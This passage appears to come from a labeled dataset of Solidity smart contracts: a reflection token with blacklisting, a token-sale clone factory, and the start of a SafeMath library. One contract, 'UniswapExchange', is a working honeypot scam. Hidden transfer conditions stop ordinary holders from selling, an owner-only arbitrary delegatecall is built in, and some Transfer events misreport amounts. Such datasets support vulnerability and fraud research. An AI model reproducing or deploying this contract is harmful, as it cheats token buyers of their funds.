return _maxTxAmount;
}
function MaxWalletSize() external view returns (uint256) {
return _maxWalletSize;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{
require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%");
require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%");
_maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{
require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%");
require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%");
_maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000);
emit MaxWalletSizeUpdated(_maxWalletSize);
}
function getLastETHRewardsClaim(address wallet)
external
view
returns (uint256)
{
return _rewardsLastClaim[wallet];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(
!_isExcludedReward[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(address(0), tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedReward[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedReward[account], 'Account is already included');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (
(to == uniswapV2Pair || _isUniswapPair[to]) &&
from != address(uniswapV2Router) &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
if (
to != uniswapV2Pair &&
!_isUniswapPair[to] &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (_isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _maximumBuyAmount, "Amount too much");
}
}
}
_rewardsLastClaim[to] = block.timestamp;
bool excludedFromFee = false;
if (
(from == uniswapV2Pair || _isUniswapPair[from]) &&
to != address(uniswapV2Router)
) {
if (!isExcludedFromFee(to)) {
require(_tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
_rewardsLastClaim[from] = block.timestamp;
} else {
excludedFromFee = true;
}
}
if (
!_inSwapAndLiquify &&
_tradingOpen &&
(to == uniswapV2Pair || _isUniswapPair[to])
) {
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
_rewardsLastClaim[from] = block.timestamp;
_isSelling = true;
excludedFromFee = isExcludedFromFee(from);
}
bool takeFee = false;
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !excludedFromFee
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
_isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
uint256 ethBalanceBefore = address(this).balance;
_swapTokensForEth(_contractTokenBalance);
uint256 ethBalanceAfter = address(this).balance;
uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore);
uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0));
ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div(
_liquidityFeeTotal
);
uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div(
_liquidityFeeTotal
);
if (treasuryETHBalance > 0) {
_sendETHToTreasury(treasuryETHBalance);
}
uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div(
_liquidityFeeTotal
);
if (buybackETHBalance > 0) {
_buyBackTokens(buybackETHBalance);
}
}
function _sendETHToTreasury(uint256 amount) private {
treasuryWallet.call{ value: amount }('');
}
function _buyBackTokens(uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = buybackTokenAddress;
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
buybackReceiver,
block.timestamp
);
emit SwapETHForTokens(buybackReceiver, amount, path);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _removeAllFee();
if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) _restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
seller,
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = _calculateReflectFee(tAmount);
uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcludedReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(reflectionFee).div(10**2);
}
function _liquidityFeeAggregate(address seller)
private
view
returns (uint256)
{
uint256 feeMultiplier = _isSelling && !canClaimRewards(seller)
? feeSellMultiplier
: 1;
return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier);
}
function _calculateLiquidityFee(address seller, uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2);
}
function _removeAllFee() private {
if (
reflectionFee == 0 &&
treasuryFee == 0 &&
ethRewardsFee == 0 &&
buybackFee == 0
) return;
_previousReflectFee = reflectionFee;
_previousTreasuryFee = treasuryFee;
_previousETHRewardsFee = ethRewardsFee;
_previousBuybackFee = buybackFee;
reflectionFee = 0;
treasuryFee = 0;
ethRewardsFee = 0;
buybackFee = 0;
}
function _restoreAllFee() private {
reflectionFee = _previousReflectFee;
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
buybackFee = _previousBuybackFee;
}
function getSellSlippage(address seller) external view returns (uint256) {
uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee);
return
isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller)
? feeAgg.mul(feeSellMultiplier)
: feeAgg;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function eligibleForRewardBooster(address wallet) public view returns (bool) {
return
boostRewardsContract != address(0) &&
IConditional(boostRewardsContract).passesTest(wallet);
}
function isExcludedFromFee(address account) public view returns (bool) {
return
_isExcludedFee[account] ||
(feeExclusionContract != address(0) &&
IConditional(feeExclusionContract).passesTest(account));
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedReward[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFee[account] = false;
}
function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner {
require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days');
rewardsClaimTimeSeconds = _seconds;
}
function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner {
require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%');
reflectionFee = _reflectionNewFee;
treasuryFee = _treasuryNewFee;
ethRewardsFee = _ethRewardsNewFee;
buybackFee = _buybackRewardsNewFee;
}
function setFeeSellMultiplier(uint256 multiplier) external onlyOwner {
require(multiplier <= 2, 'must be less than or equal to 2');
feeSellMultiplier = multiplier;
}
function setTreasuryAddress(address _treasuryWallet) external onlyOwner {
treasuryWallet = payable(_treasuryWallet);
_isExcludedFee[treasuryWallet] = true;
}
function setIsMaxBuyActivated(bool _value) public onlyOwner {
_isMaxBuyActivated = _value;
}
function setBuybackTokenAddress(address _tokenAddress) external onlyOwner {
buybackTokenAddress = _tokenAddress;
}
function setBuybackReceiver(address _receiver) external onlyOwner {
buybackReceiver = _receiver;
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function setBoostRewardsPercent(uint256 perc) external onlyOwner {
boostRewardsPercent = perc;
}
function setBoostRewardsContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
boostRewardsContract = _contract;
}
function setFeeExclusionContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
feeExclusionContract = _contract;
}
function isRemovedSniper(address account) external view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner {
require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap');
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function calculateETHRewards(address wallet) public view returns (uint256) {
uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster;
}
function calculateTokenRewards(address wallet, address tokenAddress)
public
view
returns (uint256)
{
IERC20 token = IERC20(tokenAddress);
uint256 contractTokenBalance = token.balanceOf(address(this));
uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > contractTokenBalance
? baseRewards
: rewardsWithBooster;
}
function claimETHRewards() external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim ETH rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateETHRewards(_msgSender());
ethRewardsBalance -= rewardsSent;
_msgSender().call{ value: rewardsSent }('');
emit SendETHRewards(_msgSender(), rewardsSent);
}
function canClaimRewards(address user) public view returns (bool) {
if (_rewardsLastClaim[user] == 0) {
return
block.timestamp > launchTime.add(rewardsClaimTimeSeconds);
}
else {
return
block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds);
}
}
function claimTokenRewards(address token) external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim rewards'
);
require(
IERC20(token).balanceOf(address(this)) > 0,
'We must have a token balance to claim rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateTokenRewards(_msgSender(), token);
IERC20(token).transfer(_msgSender(), rewardsSent);
emit SendTokenRewards(_msgSender(), token, rewardsSent);
}
function setFeeRate(uint256 _rate) external onlyOwner {
feeRate = _rate;
}
function manualswap(uint256 amount) external onlyOwner {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
_swapTokens(amount);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
receive() external payable {}
} | 0 | 1,756 |
pragma solidity 0.4.25;
interface TokenSaleInterface {
function init
(
uint256 _startTime,
uint256 _endTime,
address _whitelist,
address _starToken,
address _companyToken,
address _tokenOwnerAfterSale,
uint256 _rate,
uint256 _starRate,
address _wallet,
uint256 _softCap,
uint256 _crowdsaleCap,
bool _isWeiAccepted,
bool _isMinting
)
external;
}
contract CloneFactory {
event CloneCreated(address indexed target, address clone);
function createClone(address target) internal returns (address result) {
bytes memory clone = hex"3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3";
bytes20 targetBytes = bytes20(target);
for (uint i = 0; i < 20; i++) {
clone[20 + i] = targetBytes[i];
}
assembly {
let len := mload(clone)
let data := add(clone, 0x20)
result := create(0, data, len)
}
}
}
contract TokenSaleCloneFactory is CloneFactory {
address public libraryAddress;
address public starToken;
mapping(address => bool) public isInstantiation;
mapping(address => address[]) public instantiations;
event ContractInstantiation(address msgSender, address instantiation);
constructor(address _libraryAddress, address _starToken) public {
require(
_libraryAddress != address(0) && _starToken != address(0),
"_libraryAddress and _starToken should not be empty!"
);
libraryAddress = _libraryAddress;
starToken = _starToken;
}
function getInstantiationCount(address creator)
public
view
returns (uint256)
{
return instantiations[creator].length;
}
function create
(
uint256 _startTime,
uint256 _endTime,
address _whitelist,
address _companyToken,
address _tokenOwnerAfterSale,
uint256 _rate,
uint256 _starRate,
address _wallet,
uint256 _softCap,
uint256 _crowdsaleCap,
bool _isWeiAccepted,
bool _isMinting
)
public
{
address tokenSale = createClone(libraryAddress);
TokenSaleInterface(tokenSale).init(
_startTime,
_endTime,
_whitelist,
starToken,
_companyToken,
_tokenOwnerAfterSale,
_rate,
_starRate,
_wallet,
_softCap,
_crowdsaleCap,
_isWeiAccepted,
_isMinting
);
register(tokenSale);
}
function register(address instantiation)
internal
{
isInstantiation[instantiation] = true;
instantiations[msg.sender].push(instantiation);
emit ContractInstantiation(msg.sender, instantiation);
}
} | 1 | 4,922 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 476 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
